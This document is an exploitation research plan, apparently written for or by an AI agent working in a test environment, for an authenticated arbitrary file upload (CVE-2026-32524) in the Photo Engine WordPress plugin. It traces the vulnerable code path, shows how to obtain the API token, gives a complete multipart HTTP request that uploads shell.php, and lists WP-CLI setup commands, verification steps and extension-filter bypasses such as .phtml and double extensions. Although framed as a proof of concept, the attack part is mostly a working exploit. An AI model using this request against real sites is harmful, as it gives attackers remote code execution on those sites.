Exploitation Research Plan: CVE-2026-32524 (Photo Engine Arbitrary File Upload)

1. Vulnerability Summary

The Photo Engine (Media Organizer & Lightroom) plugin (formerly WP/LR Sync) is vulnerable to an authenticated arbitrary file upload in versions up to and including 6.4.9. The vulnerability exists because the plugin's custom API endpoint (/?wplr-sync-api) handles file uploads for synchronization without validating the file extension or MIME type. An attacker with Author level access (or any user with the upload_files capability) can obtain an API token and upload a malicious PHP file to the server, leading to Remote Code Execution (RCE).

2. Attack Vector Analysis

• Endpoint: Custom API endpoint triggered when the URL ends with /?wplr-sync-api.
• Authentication: Requires a valid wplr_auth_token associated with a user who has Author or higher privileges.
• Vulnerable Parameter: The file parameter in the $_FILES array and the file parameter in the $_POST array (used for naming).
• Preconditions:
  • The attacker must have a valid account on the WordPress site.
  • The account must have a wplr_auth_token set in its user metadata.

3. Code Flow

1. Entry Point: Meow_WPLR_Sync_API::__construct() in classes/api.php checks if the request URI ends with /?wplr-sync-api.
2. Request Handling: handleRequest() is called on the init hook.
3. Dispatch: If $_POST['action'] === 'sync', the code calls $this->auth( $_POST['token'] ).
4. Authentication: auth($token) queries the database for a user where meta_key = 'wplr_auth_token' matches the provided token. It sets $this->user.
5. Processing: sync($_POST) is called.
   • It retrieves the temporary file path: $file = $_FILES['file']['tmp_name'].
   • It creates a Meow_WPLR_Sync_LRInfo object.
   • It sets $lrinfo->lr_file = $args["file"] (this is the user-controlled filename from $_POST['file']).
6. Sink: It calls $wplr->sync_media( $lrinfo, $file, $args["wp_col_id"], $this->user->ID ).
7. Execution: While the full source of sync_media is not provided, the plugin typically uses $lrinfo->lr_file to determine the destination filename in the WordPress uploads directory. The lack of validation in api.php before calling sync_media allows the upload of .php files.

4. Nonce Acquisition Strategy

This specific endpoint does not use standard WordPress nonces. Instead, it uses a custom wplr_auth_token.

• Strategy:
  1. Log in as an Author.
  2. Navigate to the user profile page.
  3. The wplr_auth_token is typically displayed in the "Photo Engine" or "WP/LR Sync" section of the WordPress profile.
• PoC Automation: Since the agent has control over the environment, we will programmatically set the token for our test user to simplify the exploit.
  • wp user meta update author_user wplr_auth_token "PwnedToken123"

5. Exploitation Strategy

The exploit involves sending a multipart/form-data POST request to the custom API endpoint.

Step-by-Step Plan:

1. Identify Target: http://<target>/index.php/?wplr-sync-api
2. Set Headers: Content-Type: multipart/form-data
3. Construct Payload:
   • action: sync
   • token: PwnedToken123 (The token we set via WP-CLI)
   • id: 9999 (Arbitrary Lightroom ID)
   • file: shell.php (The desired filename on the server)
   • title: Exploit
   • tags: []
   • file (Uploaded file): <?php phpinfo(); ?>

HTTP Request (Conceptual):

POST /?wplr-sync-api HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="action"

sync
------WebKitFormBoundary
Content-Disposition: form-data; name="token"

PwnedToken123
------WebKitFormBoundary
Content-Disposition: form-data; name="id"

9999
------WebKitFormBoundary
Content-Disposition: form-data; name="file"

shell.php
------WebKitFormBoundary
Content-Disposition: form-data; name="tags"

[]
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php phpinfo(); ?>
------WebKitFormBoundary--

6. Test Data Setup

1. Create Author User:
   wp user create attacker attacker@example.com --role=author --user_pass=password
2. Assign Token:
   wp user meta update attacker wplr_auth_token "PwnedToken123"
3. Ensure Plugin is Active:
   wp plugin activate wplr-sync

7. Expected Results

• The server should respond with a JSON object containing "success": true.
• A file named shell.php should be created in the WordPress uploads directory (usually wp-content/uploads/wplr-sync/ or similar, depending on plugin configuration).
• Accessing the uploaded file via a browser/HTTP request should execute the PHP code.

8. Verification Steps

1. Check Filesystem:
   Use WP-CLI to find the file: find /var/www/html/wp-content/uploads -name shell.php
2. Confirm Execution:
   Send an HTTP GET request to the path of the uploaded file and check for the phpinfo string in the response.
3. Plugin Logs:
   The plugin logs activity. Check wp-content/uploads/wplr-sync.log if it exists.

9. Alternative Approaches

If the custom API endpoint is disabled or requires specific headers:

• REST API Path: Analyze classes/rest.php. While the primary vulnerability is in the custom API, there may be parallel issues in the REST routes like /linkinfo_upload (referenced in api.php line 77).
• Filename Manipulation: If shell.php is blocked by some filter, try shell.php.jpg or shell.phtml to see if the plugin handles double extensions or alternative PHP extensions.